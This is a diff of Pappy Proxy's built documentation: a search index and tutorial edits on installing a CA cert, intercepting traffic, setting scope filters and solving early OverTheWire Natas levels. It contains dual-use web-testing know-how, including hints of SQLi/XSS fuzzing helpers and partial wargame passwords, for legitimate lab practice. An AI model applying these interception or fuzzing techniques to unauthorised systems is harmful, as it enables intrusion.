636f6e":3,"6d652020":3,"6d6e6574":3,"6d766974":3,"6e2e6769":3,"6f646966":3,"6f6e7374":3,"6f74204d":3,"70671b5b":3,"72312e6a":3,"7372312e":3,"74204d6f":3,"74616c79":3,"78791b5b":3,"7920202f":3,"792e7365":3,"79322e6a":3,"91mv":3,"91mvitali":3,"__cfduid":6,"_autocomplete_nam":[3,4],"_request":6,"boolean":5,"break":[0,4,6],"byte":[3,6],"case":[0,3,5,6],"catch":4,"char":6,"class":[0,3,5],"default":[0,3,5,6],"enum":5,"export":3,"import":[3,4,5,6],"int":3,"long":[3,4,6],"new":[3,4],"null":5,"return":[3,4,5,6],"short":3,"static":5,"switch":4,"throw":3,"true":[3,5,6],"try":[0,3,4,5,6],"while":[3,6],abc123456:3,abc123:[3,6],abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz01234567890:6,abl:[3,5,6],about:[3,4,5,6],absolut:5,accept:[3,6],access:[3,5],accident:3,accord:3,accur:3,across:3,act:[3,6],action:[0,3,4],activ:[3,5],active_filt:5,active_intercepting_macro:5,active_request:[4,5],actual:[4,6],add:[0,3,4,5,6],add_alia:5,add_alias:[3,4,5],add_cooki:5,add_data:5,add_filt:5,add_intercepting_macro:5,add_lin:5,add_pair:5,add_req:[],add_request:[],add_to_histori:5,addit:[],admin:[3,6],advanc:[3,6],affect:5,after:[3,4,5],again:[3,4,6],agent:[3,4,6],agent_upd:4,ahd:3,ahdr:3,aher:3,aka:5,alia:[4,5],alias:[],alias_list:5,alic:[3,4],alieas:4,aliv:[3,6],all:[3,4,5,6],all_pair:5,all_req:[],all_val:5,alli:[3,4],allow:[3,5,6],allow_speci:5,along:5,alphabet:6,alreadi:[0,3,5,6],alright:6,also:[3,4,5,6],alwai:[3,4,5],ani:[0,3,4,5,6],anonym:3,anonymous:6,anoth:[],ansi:3,answer:[5,6],anyth:[0,3,4,5,6],anywai:[0,3,6],anywher:[3,4,6],apach:6,api:[],appear:[4,6],append:5,appli:[3,4,5,6],applic:[3,6],apply_req:5,apply_rsp:5,appropri:[],archiv:5,area:3,aren:[3,4],arg:[3,4,5,6],argument:[],around:[0,3,4],ascii:[3,6],asciihex_decod:3,asciihex_decode_raw:3,asciihex_encod:3,asciihex_encode_raw:3,ask:[3,5],assign:5,associ:[3,5],assum:[3,4],async:[4,5],async_deep_sav:[3,4,5],async_main_context_id:5,async_mangle_request:3,async_sav:5,async_set_tag:5,async_submit:5,async_submit_request:5,asynchron:5,ath:3,attach:5,attempt:4,attribut:[3,4,5,6],authent:[5,6],author:[3,5,6],auto:0,autocomplet:[],autocomplete_func:5,autom:[3,6],automat:[0,3,5],avail:[3,4,5],avoid:[3,4,5],awai:[3,4],awesom:[0,4,6],b64d:3,b64dr:3,b64e:3,b64er:3,back:[5,6],bad:3,ball:6,bar:[3,4,5],bare:3,base64:[3,5],base64_decod:3,base64_decode_raw:3,base64_encod:3,base64_encode_raw:3,base64encod:3,base:[5,6],basic:[3,6],bat:6,baz:[3,4,5],beautifulsoup4:5,beautifulsoup:5,becaus:[0,3,4,5,6],been:5,befor:[0,3,5],begidx:[3,4],begin:[3,4,6],behavior:[3,5],below:3,besid:4,best:4,better:[3,4],between:[0,3,4],bill:6,binari:[3,5],bind:[3,4],bit:3,blank:[3,6],blatant:6,blind:6,blob:5,block:4,bmf0yxm0olo5dgtsa1dtchq5uxi3whjsnwpxumtnt1u5mdfzd0va:6,bmf0yxmxntpbd1dqmhc1y3z4clppt05nwjlknxn0tlzrbxhkazm5sg:6,bodi:[3,5,6],body_complet:[],body_pretti:5,bool:[3,5],boom:6,bore:1,bot:3,bound:[3,4,6],brave:3,brows:[],browser:[],brute:6,buffer:[3,6],bug:3,bugfix:3,buggi:3,build:[0,3,5],built:[],builtin_filt:3,butt:3,button:0,bz2:5,cach:[],cache_s:3,call:[0,3,4,5,6],callback:[3,4],came:6,cannot:[3,4,5],capit:5,care:3,carriag:5,case_insensit:5,cat:3,categor:3,caught:3,caus:[3,5],cert:[],cert_dir:[3,5],certain:[3,6],certif:[3,4,6],chain:4,challeng:6,chanc:4,chang:[0,3,4,5,6],changelog:[],charact:[3,5,6],check:[0,3,6],check_char:6,child:[],choos:3,cipher:0,claim:5,cleanup:6,clear:[3,5],clearer:3,click:[3,6],client:[0,3,6],clipboard:3,clone:[3,6],cloud:3,clrmem:5,clrtag:3,cmd2:[3,4,5],cmd:[3,4,5],cmd_dict:5,cmdhistori:[3,5],code:0,codebas:3,coldata:5,collect:5,color:[3,5],column:[3,5,6],com:[3,5,6],come:[5,6],comm:[],comma:3,command:[],common:[0,3,5],common_password:5,common_usernam:5,commonli:6,comparer1:3,comparer2:3,comparison:3,compat:3,complain:[3,6],complet:[0,3,4,5,6],complete_hello_world:[3,4],complex:6,complic:[3,4,6],compress:[3,5],comput:5,conclus:[],condit:[3,6],conf:3,config:[],config_dict:[3,4,5],configur:[],confirm:5,conform:[3,5],confus:3,conifg:5,connect:[3,5,6],connect_request:5,connectionpool:5,consid:[3,4,6],consist:0,consol:[],construct:[3,6],contact:[0,5],contain:[3,4,5,6],containr:3,containsr:[3,6],content:[],context:[],contribut:[],control:[3,6],cooki:[0,3,5,6],cookie_nam:5,cookie_str:5,cookie_v:5,cool:3,copi:[0,3,4,5,6],coppi:0,copyright:3,core:[0,3,4],correct:6,correctli:3,could:[0,3,4,5],couldn:4,count:5,cours:[3,4],cover:6,crash:3,creat:[],cred:[0,4,5,6],credenti:3,credit:3,crochet:4,crt:[3,6],crypt:5,crypt_dir:5,crypt_fil:5,crypt_sess:5,crypto:5,csrf:3,css:[3,6],ctr:[3,6],ctrl:3,current:[3,4,5,6],cursor:[3,6],custom:[],dark:3,data:[],data_dir:[4,5],data_fil:3,data_kei:4,databas:3,datadir:[3,5],datafil:[0,3,4,5,6],date:6,datetim:[3,5],db41e9d9b4a13cc3ef4273055b71996fb1450464664:6,dbfile:3,deactiv:5,deal:[4,6],debug:[3,5],debug_dir:[3,5],dec:6,decid:[3,6],decod:1,decompress:3,decrypt:3,dedic:[3,4],deep_delet:5,def:[3,4,5,6],defer:[],deferredlist:5,defin:[3,4,6],definit:[3,5],deflat:[3,6],delet:[3,5,6],delete_cooki:5,delta:3,depend:[4,5],describ:[3,5],descript:3,design:3,destin:3,detail:[3,4,5],determin:[3,5],dict:[3,4,5],dictionari:[3,4,5,6],did:3,didn:[3,6],diff:0,differ:[3,4,6],dir:3,direct:3,directli:[3,6],directori:[3,4,5,6],dirti:3,disk:[],displai:[3,5,6],dist:4,div:6,do_func:5,doabl:6,doc:[0,3,4],docstr:4,doesn:[0,3,4,5,6],domain:[3,5],don:[0,3,4,5,6],done:[0,3,4,6],doubl:[3,6],down:3,download:3,dport:3,drop:[3,5],dubug:3,due:3,duh:3,dumb:3,dump:3,dump_respons:3,dunno:3,duplic:5,dure:[3,4],dust:3,each:[3,4,5,6],eader:3,earli:3,easi:[0,3,6],easier:[0,3],easiest:4,easili:0,echo:3,edg:3,edit:[0,3,4,6],editor:[0,3,6],effort:0,either:[0,3,5,6],element:4,els:[3,4,6],email:3,empti:3,encod:[3,5,6],encrypt:[4,5],end:[3,4,5,6],endidx:[3,4],engag:6,enough:[3,4],enter:[3,4,6],entir:[3,5,6],entri:4,environ:6,equal:3,error:[3,4,5,6],escap:[3,6],especi:5,esr1:[3,6],etag:6,etc:[0,3,5,6],even:[3,4,5,6],ever:[5,6],everi:[3,5,6],everyth:[0,3,5,6],exact:3,exactli:6,exampl:[],except:[3,4,5],execut:3,exist:[0,3,4,5,6],exit:[3,5],expand:4,expect:3,expir:5,explain:[3,4,6],explicit_port:5,explicitli:3,express:6,extens:6,extern:3,extra:5,extrem:3,ey7:3,faketld:3,fakewebsit:5,fall:5,fals:[5,6],fame:5,faq:[],far:6,favicon:6,favorit:6,fbi:3,featur:[],feedback:6,feel:0,few:[],figur:[4,6],file:[],fileinterceptmacro:5,filenam:[3,5],fill:3,filt:5,filter:[],filter_clear:[3,6],filter_list:3,filter_prun:3,filter_str:5,filter_up:[3,5],find:[],find_food:5,finder:6,fine:6,fire:[5,6],first:[3,4,5,6],fix:[3,4],flag:[0,5],flush:6,folder:[4,5],follow:[3,5,6],foo:[3,4,5,6],fooooo:6,fooooooo:6,forc:3,format:[3,5,6],forward:[3,6],forward_host:3,forward_host_ssl:3,found:[0,3,4,5,6],foxyproxi:6,fragment:[3,5],free:0,fri:6,from_dict:5,from_filter_str:5,from_json:5,from_pair:5,frustrat:3,full:[3,5,6],full_messag:5,full_message_pretti:5,full_path:[3,5],full_request:[3,5],full_respons:[3,5],fulli:4,func:[4,5],funky:3,futur:[3,4],fuzz:5,fuzz_path_trav:5,fuzz_sqli:5,fuzz_xss:5,gcc:3,gecko:[3,6],gencert:[3,6],gener:[],generate_int_macro:3,generate_macro:3,get:[],get_cooki:5,get_data:4,get_metadata:[],get_plugin_dict:[4,5],get_req_data_row:5,get_request:[3,5,6],get_rsp_cooki:5,getter:5,gif:[3,6],gima:3,git:[3,6],github:[3,4,6],give:[0,3,4,5,6],given:[3,5,6],global:1,global_config:[3,5],global_config_dict:5,gma:[3,6],gmt:6,goe:6,golden:6,good:[3,4],googl:[3,4,5,6],googlebot:3,got:6,gotten:0,great:[0,3,6],greater:3,grep:6,guess:[3,4],gzd:3,gzdr:3,gze:3,gzer:3,gzip:[3,6],gzip_decod:3,gzip_decode_raw:3,gzip_encod:3,gzip_encode_raw:3,hack:3,hacker:3,hackthensa:3,had:[3,4,6],haha:6,hairi:6,hand:6,handl:[3,4,5,6],handle_head:[],handle_start_lin:[],handler:[],hang:6,happen:3,happi:3,hard:[3,6],harder:4,hat:4,haven:[0,6],head:[3,5],header:[0,3,4,5,6],header_nam:5,header_v:5,headers_complet:5,headers_end:[],headers_sect:5,headers_section_pretti:5,heart:3,heavi:3,hello:[],hello_world:[3,4],helper:5,here:[0,3,4,5,6],hex:3,hexdump:3,high:3,highlight:4,hint:6,histori:[0,3,4,5],history_s:3,hit:4,hlo:[3,4],home:[4,6],honestli:3,hook:[3,4],hop:6,hopefulli:[3,4,6],host:[0,1],hostnam:6,how:[],howev:[3,4],hst:0,html:[3,5,6],html_decod:3,html_decode_raw:3,html_encod:3,html_encode_raw:3,htmld:3,htmldr:3,htmle:3,htmler:3,htnsa:3,http:[],http_onli:5,http_proxi:5,httpmessag:5,httponli:[0,5],human:3,ico:6,icon:6,idea:[0,3],identifi:[3,5],idiot:3,iew:3,ignor:[3,5],ilovemushroom:3,imag:3,image2:6,imalittleteapot:3,img:6,implement:[0,4,5],improv:3,in_memory_req:5,in_memory_request:[],inactive_request:5,includ:[3,5,6],include_unmangl:5,inconveni:3,index:[1,4,6],inet:3,inevit:3,inf:3,info:[3,4,5],inform:[3,5,6],init:[3,5],initi:5,inject:6,inlin:[3,4],input:4,insensit:5,insert:[5,6],insid:5,instal:[],instanc:[4,5],instead:[3,4,5],instruct:3,int_adminplz:3,int_cloud2butt:3,int_donoth:3,int_nam:3,int_replac:3,integ:[3,5],integr:3,intend:[3,4],interact:[3,4,5],intercept:[],intercepting_macro:5,interceptingmacro:3,interceptmacro:5,interceptor:[],interfac:[3,5],intern:[4,5],introduct:[],intrud:3,inv:3,invert:3,invok:[],involv:[3,5],iptabl:3,is_ssl:[3,5],isn:[3,4,5],issu:[0,3],itali:3,italy2:3,item:[3,5,6],iter:[],itransport:5,javascript:3,join:[3,4],jpg:[3,6],jqueri:6,json:[0,3,5,6],json_str:5,jun:3,just:[0,3,4,5,6],keep:[0,3,4,5,6],kei:[3,4,5,6],keybind:3,keychain:[3,6],kind:[0,3],kjq:3,know:[3,4,6],kwarg:[4,5],lab:6,label:3,lack:0,languag:[3,6],laptop:3,larg:5,last:[4,5,6],later:[],lazi:6,lead:4,leader:[3,6],learn:[4,6],least:4,leav:3,left:[3,6],len:[3,6],length:[3,5,6],leq:3,less:3,let:[0,3,4,5,6],level:[3,6],lgt:3,lib:4,librari:[0,4,5],licens:3,lie:6,lihtyur:[3,4],lim:3,limit:[3,4,6],line:[3,4,5,6],linux2:3,linux:[3,6],list_int_macro:3,listen:[3,4,5,6],lite:[],littl:3,live:3,llt:3,lma:[3,6],load:[3,4,5,6],load_all_request:[],load_cmd:[3,4],load_macro:[3,5],load_reqlist:[4,5],load_request:5,load_requests_by_tag:5,load_requests_by_tim:5,load_respons:5,loalhost:6,loc:5,local:4,localhost:[3,6],locat:[3,5],log:[],loop:[3,6],lost:[0,3],lot:[3,4,6],low:3,ls2:3,lsim:3,luckili:[4,6],mac:3,machin:3,macro:[],macro_:3,macro_blank:3,macro_brut:6,macro_googlebot:3,macro_hackthensa:3,macro_nam:[3,6],macro_print:3,macro_sexi:3,macro_test:3,macro_testgen:3,made:[3,5,6],mai:[0,3,4,5,6],main:[3,5],main_context:4,main_context_id:5,mainli:[0,4,5],maintain:[3,4,5],make:[0,3,4,5,6],mallori:[3,4],manag:[0,3,6],mange_respons:3,mangl:[3,5,6],mangle_request:[3,5],mangle_respons:[3,5],map:3,mario:3,match:[3,4,5,6],max:[5,6],max_ag:5,maximum:5,mean:[3,4,6],meant:3,memori:[],mess:3,messag:[0,3,4,5,6],meta:[],method:[3,5],might:[0,3,4],mine:[3,4],minimum:3,miss:[0,3],mkdir:[3,6],mnetscap:3,mngl:[3,6],mode:[],modif:[3,4],modifi:[0,3,4,5,6],modul:[],more:[],most:[0,3,4,5,6],mostli:3,move:6,mozilla:[3,6],much:[0,4,6],must:[3,4,5,6],mvitali:3,my_command:5,name:[3,4,5,6],nat:3,natas0:6,natas15:6,natas16:6,natas1:6,natas2:6,natas3:6,natas4:6,natas5:6,natas9:6,natas_webpass:6,navig:6,ncontain:3,need:[0,3,4,5,6],needl:6,negat:3,neither:3,nerd:4,netscap:[3,6],never:3,newlin:[3,5],next:[5,6],nice:5,nich:4,nobodi:3,nocolor:3,non:[3,4,5],nonc:5,none:[3,4,5,6],nonexist:3,nor:3,normal:[3,4,5],not_imag:3,not_jscss:3,note:[3,6],noth:[3,6],notic:6,nov:[3,6],now:[3,4,5,6],nsa:3,num:[3,5],number:[0,3,6],numer:3,objgraph:5,obvious:3,off:[0,3,4,6],offici:3,often:3,onc:[0,3,5,6],onecmd:4,onecmd_plus_hook:4,onli:[3,4,5,6],open:[0,3,6],option:[3,4,5,6],ord:6,order:[3,4,5,6],ordereddict:5,org:[3,6],origin:[3,5],other:[3,5,6],otherwis:[3,5],our:[4,6],out:[],output:[],outsid:[3,4,5],over:[3,4,5,6],overridden:[],overthewir:6,overview:3,overwrit:[3,6],own:[3,4,5,6],packag:[],page:[0,1,3,6],pair:[3,5],pappy_dir:5,pappyconfig:5,pappyexcept:[4,5],pappynata:6,pappysess:5,param:[3,5,6],param_info:3,paramet:[3,5,6],pars:[4,5],part:[3,4,5,6],password123:3,password:[],past:0,pasword:0,patch:3,path:[3,5,6],path_absolut:5,path_host:5,path_part:5,path_rel:5,path_tupl:5,path_typ:5,payload:6,peopl:[0,3,4],perform:[0,3,5],period:5,perman:6,permiss:3,person:3,pfctl:3,php:[3,5,6],phrase:6,pip:[3,6],pixel:6,place:[3,4],plai:5,plaintext:3,pleas:[3,5],plu:[3,4],pluge:0,plugin:[],plugin_by_nam:5,plugin_data:[4,5],plugin_dir:5,plugindata:4,png:6,point:[3,6],pons:3,pool:5,port:[3,4,5,6],portion:[3,5],posit:[4,6],possibl:[0,3,4,5],post:[3,5,6],post_param:[3,5,6],post_request:[3,5,6],power:[3,4],ppp0:3,ppq:3,pprm:3,pragma:3,pramet:6,pre:6,prefer:[0,3,6],prefix:[3,4,6],prepend:3,prerout:3,present:[3,5],press:[3,6],pretend:4,pretti:[0,3,6],pretty_print_request:3,pretty_print_respons:3,previou:3,pri:3,print:[0,3,4,5,6],print_host:4,print_param:3,print_request:5,print_request_row:5,print_tabl:5,printabl:[3,5],printable_data:5,privat:[3,6],pro:6,probabl:[0,3,4,5,6],process:3,produc:3,profession:3,program:5,progress:5,project:[3,4,5,6],project_config:3,promis:3,prompt:[3,6],prone:3,proto:3,protocol:5,provid:[3,4,5],proxy_cr:5,proxy_listen:3,proxycmd:[3,5],psutil:5,pull:0,purpos:3,put:[3,4,5,6],put_on_rope_and_wizard_hat:4,pypi:6,python2:4,python:[],qbd:3,qbodi:3,qdata:3,qdt:3,qhd:3,queri:[5,6],queue:6,quick:[3,4,6],quickli:6,quickstart:[],quit:[3,6],quot:[3,6],rais:5,ram:3,random:3,rang:6,rather:[3,4,5],raw:[3,5],raw_data:[3,5,6],raw_head:[3,5,6],rawhead:3,rdr:3,read:[0,3,4,5,6],readabl:[3,4,6],readm:3,real:[3,4,6],realli:[3,4],reason:[3,4],recent:[3,4,5,6],record:[],recreat:5,recurs:[3,6],redirect:1,refactor:3,refer:[3,4,6],refresh:6,regardless:5,regexp:[3,6],regular:[3,6],regularli:[0,3,4],rel:5,releas:3,reli:4,reload:[3,4],rememb:[5,6],remind:4,remov:[3,4,5,6],remove_intercepting_macro:5,remove_request:[],repeat:[],repeatabledict:[3,5,6],repeatersubmitbuff:3,replac:[0,3,5],repres:[3,5,6],req0:[3,6],req1:6,req:[3,4,5,6],req_d:5,req_histori:5,reqbodi:3,reqhead:3,reqid:[3,4,5,6],request:[],request_by_id:3,request_row:5,requestcach:5,requir:[3,5,6],require_modul:5,reserved_meta_kei:5,reset:[3,5,6],reset_metadata:[],resolv:5,respons:[],response_cod:[3,5],response_text:[3,5],responsecod:3,responsecooki:5,respos:6,rest:[5,6],restart:4,restor:3,resubmit:3,result:[3,4,5],retain:5,reusabl:[3,4],right:[3,4,5,6],rim:3,rippoff:3,rma:[3,6],robe:4,robe_and_wizard_hat:4,robot:6,roglew:[3,6],role:3,root:3,rough:3,round:6,rout:3,row:5,rox:3,roxi:3,rpy:3,rsp:[3,5,6],rspbodi:3,rspheader:3,rspid:[3,5],rsptime:[3,5],rule:[3,6],run:[],run_cmd:5,run_int_macro:3,run_macro:[3,6],runarg:3,s123:5,s3cr3t:6,sai:[3,4,6],said:3,salt:5,salt_len:5,same:[3,4,5,6],sane:3,sarah:[3,4],save:[0,3,4,5,6],save_al:5,save_histori:5,save_req:5,save_request:5,save_rsp:5,sbd:3,sbodi:3,scan:0,scaryhack:3,scenario:0,schema:[0,4],sck:3,scope:[],scope_delet:3,scope_list:3,scope_reset:3,scope_sav:[3,6],screen:6,script:[3,4,5,6],sdata:3,sdt:3,search:[0,1,3,6],second:[3,4],secret:3,section:[3,6],secur:[0,3,4,5],see:[3,4,5,6],seem:3,select:[3,6],self:[4,5],semi:4,send:[3,4,6],sens:6,sensit:[4,6],sent:[3,5,6],sentcooki:3,separ:3,sequenc:4,seri:5,server:1,sessconfig:5,session:[],set:[],set_cmd:[3,4,5],set_cooki:5,set_cookie_kv:5,set_cookie_str:5,set_filt:5,set_metadata:[],set_tag:[3,5,6],set_val:5,setcooki:3,settabl:3,setter:5,setup:3,sexi:[3,6],sgvsbg8gv29ybgqh:3,shd:3,shlex:[3,4],short_nam:[3,6],shortcut:3,shortnam:3,shouldn:6,show:[3,6],shown:3,shut:6,sign:[3,6],sim:3,similar:[0,3,4],similarli:3,simpl:[0,3,4,6],simpli:3,sinc:[0,3,4,5,6],singl:3,site:[3,6],site_map:3,size:3,skynet:3,slagathor:[3,4],slap:4,slayer:3,slight:6,slow:3,snip:6,snowflak:4,sock:1,socks_proxi:[3,5],solv:6,some:[0,3,4,5,6],someth:[0,3,4,5,6],sometim:3,somewhat:4,somewher:5,sorri:[3,6],sort:5,sort_tim:5,sound:3,soup:5,sourc:[3,6],space:3,spec:3,specif:[3,4,5],specifi:[3,6],speed:3,split:[3,4,6],spoil:6,sql:[5,6],sqli:0,sqlite:[5,6],sqlmap:0,src:6,ssl:[0,3,5,6],ssllab:0,stabl:3,stage:3,start:[],start_lin:5,startswith:[3,4],startup:5,state:[3,4,5],statement:4,statu:[3,5],status_lin:[3,5],statuscod:3,stck:3,stdout:[5,6],stomp:3,stop:[3,4,5,6],stop_int_macro:3,storag:5,store:[],straight:3,strang:5,stream_transport:5,strikeout:3,string:[],structur:4,stuff:1,style:5,submit:[0,3,5,6],submit_new:[],submit_request:5,submodul:[],subpackag:[],substitut:[3,6],substr:[3,6],successfulli:5,suck:6,sudo:3,suggest:[0,3,4,5,6],suit:3,sumbit:3,summari:3,supahack:4,supersess:3,support:[3,6],suppos:[3,4],sure:[0,3,4,5,6],surpris:3,surround:6,suspici:6,swap:0,sweet:4,swf:3,switchysharp:6,system:[0,3,5,6],tab:[0,3,4],tag:[],take:[3,4,5,6],tali:3,talk:4,tar:5,target:[3,6],tcp:3,technic:1,techniqu:1,tediu:3,tell:[3,4,6],templat:0,temporari:[3,4,5,6],tend:0,termin:5,test:[],test_project:3,testgen:3,text:[3,4,5,6],than:[3,4,5],thei:[3,4,5,6],them:[0,3,4,5,6],themselv:4,thi:[0,3,4,5,6],thick:3,thing:[0,3,4,5,6],think:3,those:[3,4,5,6],though:[3,6],through:[0,3,4,5,6],throughout:3,thu:3,time:[3,4,5,6],time_end:[3,5],time_start:[3,5],timedelta:5,timeout:[4,6],timestamp:[3,5],tmp1myw6q:4,tmp3j97re:4,tmp5aqbrh:6,tmp:[3,4,6],tmpboxyj3:[3,4],tmpw4mgv2:3,tmpyl2cez:4,to_check:6,to_json:5,to_load:5,token:3,ton:3,too:[0,3,6],took:3,tool:[3,4],total:3,touch:6,traceback:[3,4,5],track:[5,6],traffic:3,trail:5,transfer:5,transpar:1,transport:5,travers:5,treat:5,tree:3,trick:3,tricki:6,troubl:[0,3],truncat:5,trust:3,ttack:3,tune:3,tupl:[4,5],turn:3,tutori:[],tweak:[3,6],twice:4,twist:[3,4,5],two:[3,5],txt:[0,3,6],type:[0,3,4,5,6],typeerror:4,u123:5,u12:6,uber:4,ubuntu:6,uest:3,ull:3,ultra:3,ultrasess:3,unauthor:6,undefin:3,under:[3,4,5],unencrypt:4,unfortun:[3,4,6],unintuit:3,uniqu:5,unit:3,unix:[3,5],unixtime_decod:3,unless:[3,4],unlimit:[3,5],unmanbl:5,unmangl:[3,5,6],unpack:5,unprint:5,untag:3,until:3,untouch:3,updat:[3,4,5,6],update_agent_metadata:4,update_content_length:5,update_from_bodi:[],update_from_head:[],upon:4,upstream:[3,5],url:[3,5,6],url_color:5,url_decod:3,url_decode_raw:3,url_encod:3,url_encode_raw:3,url_param:[3,5],urld:3,urldr:3,urlencod:6,urler:3,usag:[],use_cach:5,useless:3,user:[3,4,5,6],usernam:[0,3,5,6],usr:4,util:[],uxtd:3,val:5,valid:[3,6],valid_char:6,valu:[3,4,5,6],value1:3,value2:3,vari:6,variabl:[3,5,6],variat:6,vbq:3,verb:[3,5,6],verbos:3,verbosisti:3,veri:3,versa:4,version:[3,4,5,6],vertic:[3,6],vfq:[3,6],vhq:3,via:[0,5],vice:4,view:[3,6],view_ag:4,view_full_request:3,view_full_respons:3,view_request_byt:3,view_request_head:3,view_request_info:3,view_response_byt:3,view_response_head:3,vim:[0,3,6],vimrc:3,viq:3,visit:[3,6],vital:3,vitali:[3,6],vitaly2:[3,6],wai:[0,3,4,6],waih:6,waiheacj63wnnibroheqi3p9t0m5nh:6,waiheacj63wnnibroheqi3p9t0m5nhm:6,waiheacj63wnnibroheqi3p9t0m5nhmh:6,wait:3,wait_for:4,want:[0,3,4,5,6],warn:4,watch:3,weak:0,web:3,websit:[0,3,4,6],wechal:6,weird:4,well:[3,4],were:[0,3,5,6],weren:6,what:[3,4,5,6],whatev:[3,6],wheel:3,when:[0,3,4,5,6],whenev:4,where:[3,4,5,6],wherev:5,whether:[0,3,5],which:[0,3,4,5,6],whichev:3,whitelist:5,whitespac:4,whole:3,whose:6,wide:[3,4],width:5,window:[3,6],wish:0,without:[0,3,4,5,6],wizard:4,wizard_hat:4,won:[3,4,5,6],woo:6,word:6,work:[3,4,5,6],world:[],worri:[4,6],worst:0,worth:[3,4],would:[0,3,4,5],wow64:[3,6],wrapper:[4,5],write:[],written:[3,5],wrote:[3,6],www:[3,5,6],xhtml:[3,6],xml:[3,6],xss:5,xxd:3,yai:6,yet:[3,6],yield:[4,5],yolo:3,you:[0,3,4,5,6],your:[],yourself:[3,4],yte:3,zip:5},titles:["Contributing","Welcome to Pappy Proxy’s documentation!","pappyproxy","The Pappy Proxy","Writing Plugins for the Pappy Proxy","pappyproxy package","The Pappy Proxy Tutorial"],titleterms:{"function":[3,4],addit:3,alias:4,anoth:4,api:4,argument:4,autocomplet:4,bore:3,both:3,brows:3,browser:[3,6],built:[3,4],burp:3,cach:3,can:3,cert:[3,6],changelog:3,chrome:[3,6],code:3,comm:5,command:[3,4],compar:3,conclus:6,config:5,configur:[3,6],consol:[3,5],content:[0,4,5,6],context:[3,5],contribut:[0,3],creat:4,custom:4,data:4,decod:3,defer:4,disabl:3,disk:4,document:1,doe:3,enabl:3,exampl:4,explor:[3,6],faq:3,featur:[0,3],few:6,field:3,file:3,filter:[3,6],find:6,firefox:[3,6],form:3,from:3,gener:3,get:[4,6],global:3,have:3,hello:4,help:4,host:3,how:[3,6],http:5,indic:1,inlinecallback:4,instal:[3,6],intercept:3,interceptor:[3,4],interest:3,internet:[3,6],introduct:[3,4,6],iter:5,later:6,like:3,list:3,lite:3,log:3,look:3,macro:[3,4,5],memori:3,merg:4,metadata:4,mode:3,modul:5,more:4,multipl:3,nata:6,object:3,out:6,output:3,packag:5,pappi:[1,3,4,5,6],pappyproxi:[2,5],pass:[3,4],password:6,plugin:[3,4,5],proxi:[1,3,4,5,6],python:3,quickstart:3,record:3,redirect:3,repeat:[3,4,5],request:[3,4],respons:3,run:3,safari:[3,6],scope:[3,6],server:3,session:5,set:[3,6],shell:3,should:[3,4],skip:6,sock:3,special:3,start:6,still:3,store:4,stream:3,string:3,stuff:3,submodul:5,subpackag:5,tabl:[0,1,4,6],tag:3,technic:3,techniqu:3,test:6,transpar:3,tutori:6,usag:3,util:5,welcom:1,why:3,wishlist:0,world:4,write:[3,4],your:[3,4,6]}}) \ No newline at end of file diff --git a/docs/build/html/tutorial.html b/docs/build/html/tutorial.html index b0edf37..e338789 100644 --- a/docs/build/html/tutorial.html +++ b/docs/build/html/tutorial.html @@ -6,7 +6,7 @@ - The Pappy Proxy Tutorial — Pappy Proxy 0.2.0 documentation + The Pappy Proxy Tutorial — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -43,7 +43,7 @@
  • previous |
  • - + @@ -104,11 +104,11 @@

    Getting Started

    The first thing you’ll need to do is get Pappy installed.

    Install from pypi:

    -
    $ pip install pappy
    +
    $ pip install pappy
     

    or install from source:

    -
    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
    +
    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
     $ cd pappy-proxy
     $ pip install .
     
    @@ -118,7 +118,7 @@ $ pip install .

    Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!

    That was easy! Make a project directory anywhere for Natas and fire up Pappy.:

    -
    $ mkdir natas
    +
    $ mkdir natas
     $ cd natas
     Copying default config to ./config.json
     Proxy is listening on port 8000
    @@ -136,7 +136,7 @@ pappy>
     

    Installing Pappy’s CA Cert

    In order to intercept HTTPS requests, you’ll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.

    To generate certificates, you’ll use the gencerts command. This will generate certificates in Pappy’s directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:

    -
    pappy> gencerts
    +
    pappy> gencerts
     This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
     (y/N) y
     Generating certs to /home/anonymouse/pappy/pappyproxy/certs
    @@ -194,7 +194,7 @@ pappy>
     

    Testing it Out

    Start up Pappy in Lite mode by running pappy -l, enable the proxy in your browser, then navigate to a website:

    -
    /pappynatas/ $ pappy -l
    +
    /pappynatas/ $ pappy -l
     Temporary datafile is /tmp/tmp5AQBrH
     Proxy is listening on port 8000
     pappy> ls
    @@ -219,7 +219,7 @@ Deleting temporary datafile
     

    Setting the Scope

    The first thing we’ll do is set up Pappy so that it only intercepts requests going to *.natas.labs.overthewire.org:

    -
    pappy> filter host containsr "natas\.labs\.overthewire\.org$"
    +
    pappy> filter host containsr "natas\.labs\.overthewire\.org$"
     pappy> scope_save
     
    @@ -249,7 +249,7 @@ pappy> scope_save
  • vfs <reqid> prints the full response to a request you specify
  • So to solve natas1, we’ll want to view the full response to our request to the page:

    -
    pappy> ls
    +
    pappy> ls
     ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
     16  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
     15  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
    @@ -295,7 +295,7 @@ pappy>
     

    Natas 2

    When you visit this page, you get a message saying “There is nothing on this page”. That is probably a blatant lie. Let’s see what was in that response.:

    -
    pappy> ls
    +
    pappy> ls
     ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
     30  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
     29  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
    @@ -338,11 +338,11 @@ pappy>
     
  • fls Show all currently applied filters
  • The most complicated of these is the filter command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn’t pass the filter will be removed from the context. Most filter strings are of the format <field> <comparer> <value>. For example:

    -
    host is www.target.org
    +
    host is www.target.org
     
    -field = "host"
    -comparer = "is"
    -value = "www.target.org"
    +field = "host"
    +comparer = "is"
    +value = "www.target.org"
     

